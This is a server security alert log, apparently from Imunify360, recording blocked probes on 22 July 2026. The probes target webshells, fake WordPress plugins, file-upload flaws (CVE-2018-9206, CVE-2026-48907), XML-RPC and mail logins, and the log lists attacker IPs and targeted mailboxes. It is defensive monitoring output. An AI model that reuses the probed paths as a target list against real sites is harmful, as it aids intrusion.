IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/content.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 20:32:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/bypass.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/admin-footer.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.115
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wordpress/wp-content/uploads/install.php||SC:/home/ibmcglobal/public_html/wordpress||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.115
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wordpress/wp-content/uploads/install.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.115
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/1.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 135.136.48.115
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.34||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/install.php||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.34||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/adminfus.php||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/uploads/xsec.php||SC:/home/ibmcglobal/public_html/uploads||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/fileman.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/autoload_classmap.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/sst.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/cloud.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.34||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 20:34:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/wp-cert.phtml||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/2021/wp-works.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/themes.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2021/wp-works.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/include.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: modsec
rule: 77350391
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/alfa.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.99
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/smilies/admin.php||SC:/home/ibmcglobal/public_html/wp-includes||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/gecko.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.176
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/dedi1.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/adminfus.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/assets/images/cloud.php||SC:/home/ibmcglobal/public_html/assets||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/file-js.php||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:8.34||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/plugins/jquery-file-upload/server/php/index.php||


plugin: modsec
rule: 77469916
abuser: 37.122.149.53
country_id: 6251999
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:cve-2026-48907-5521.xml.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.34||T:APACHE||MV:/assets/images/accesson.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/autodiagnosis.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/autodiagnosis.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/uploads.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/filester/assets/css/404.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/link.php||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.34||T:APACHE||SC:/home/ibmcglobal/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.174
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-content/uploads/link.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 135.136.48.72
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/assets/jquery-ui/images/lock2.php||SC:/home/ibmcglobal/public_html/assets||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.94
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 135.136.48.249
country_id: 102358
domain: ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/easy-themes-manager/||WPU:||RSV:8.34||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.192.95
country_id: 298795
description:
2026-07-22 20:41:23 dovecot_login authenticator failed for H=([182.180.107.126]) [5.11.192.95]:44874: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.192.95
country_id: 298795
description:
Jul 22 20:41:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.192.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.128
country_id: 1668284
description:
Jul 22 20:41:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-07-22 20:41:41 dovecot_login authenticator failed for H=(syn-024-142-170-231.biz.spectrum.com) [101.13.4.128]:43482: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 20:43:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 20:42:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-22 20:46:04 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com (karuna.divineled.com) [213.66.196.11]:55382: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.23.228.86
country_id: 1269750
description:
Jul 22 20:46:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.23.228.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 20:45:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.66.196.11
country_id: 2661886
description:
Jul 22 20:46:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.66.196.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 74.249.219.123
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/var/www/html/wp-includes||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/var/www/html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-22 20:46:12 dovecot_login authenticator failed for H=([60.216.89.122]) [125.23.228.86]:33146: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.219.123
country_id: 6252001
domain: ns1.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.34||T:APACHE||MV:/wp-includes/images/smilies/wp-login.php||SC:/var/www/html/wp-includes||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 20:49:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 158.173.77.34
country_id: 3175395
domain: apkmetal.in
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 20:52:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 20:54:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.119.70.200
country_id: 1282988
description:
Jul 22 20:57:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.119.70.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-22 20:57:05 dovecot_login authenticator failed for H=([196.188.187.85]) [157.119.70.200]:50575: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-22 20:57:13 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com (nsg-static-16.107.76.182-airtel.com) [213.65.190.48]:50968: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.65.190.48
country_id: 2661886
description:
Jul 22 20:57:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.65.190.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.137.7.97
country_id: 6252001
description:
2026-07-22 21:00:46 dovecot_plain authenticator failed for H=c-73-137-7-97.hsd1.ga.comcast.net (enous) [73.137.7.97]:43874: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.137.7.97
country_id: 6252001
description:
Jul 22 21:00:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.137.7.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.150.205
country_id: 1269750
domain: ahsmarine.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34279.ahsmarine.com||ServerName:ahsmarine.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84b8e09e3d52f74c0df9a3044b472613540de8ed||Title:0xc9b59e9c||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 21:04:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.34||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 8.231.233.229
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.34||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 21:08:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.192.179
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es15?Itemid=101&catid=18 HTTP/1.1||RSV:8.34||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 21:11:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.72.106
country_id: 1835841
description:
Jul 22 21:11:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.72.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-22 21:11:50 dovecot_login authenticator failed for H=([218.206.136.24]) [59.6.72.106]:36321: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 21:13:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 34.75.73.127
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:||WPU:||User:ahsmarine||Script:/home/ahsmarine/public_html/xmlrpc.php||RSV:8.34||T:APACHE||MV:/xmlrpc.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 21:15:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 22 21:21:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-22 21:20:16 dovecot_login authenticator failed for H=([37.208.46.131]) [193.46.192.20]:40468: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.58
country_id: 1036973
description:
Jul 22 21:20:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-22 21:20:23 dovecot_login authenticator failed for H=([65.20.150.62]) [197.219.208.58]:34126: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-22 21:20:27 dovecot_login authenticator failed for H=([121.169.236.186]) [94.16.17.139]:35156: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.16.17.139
country_id: 2921044
description:
Jul 22 21:20:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.16.17.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.223.212.176
country_id: 6252001
description:
Jul 22 21:20:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.223.212.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-22 21:20:41 dovecot_login authenticator failed for H=([189.108.129.173]) [47.223.212.176]:58076: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.184.13.56
country_id: 1835841
description:
Jul 22 21:24:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.184.13.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.13.56
country_id: 1835841
description:
2026-07-22 21:24:15 dovecot_login authenticator failed for H=([149.54.15.126]) [112.184.13.56]:45138: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.135.208.16
country_id: 1861060
description:
Jul 22 21:24:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.135.208.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.16
country_id: 1861060
description:
2026-07-22 21:24:39 dovecot_login authenticator failed for H=([142.54.231.33]) [212.135.208.16]:58934: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 21:25:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 21:29:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 21:30:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 88.230.228.122
country_id: 298795
domain: travelinbh.com
description:
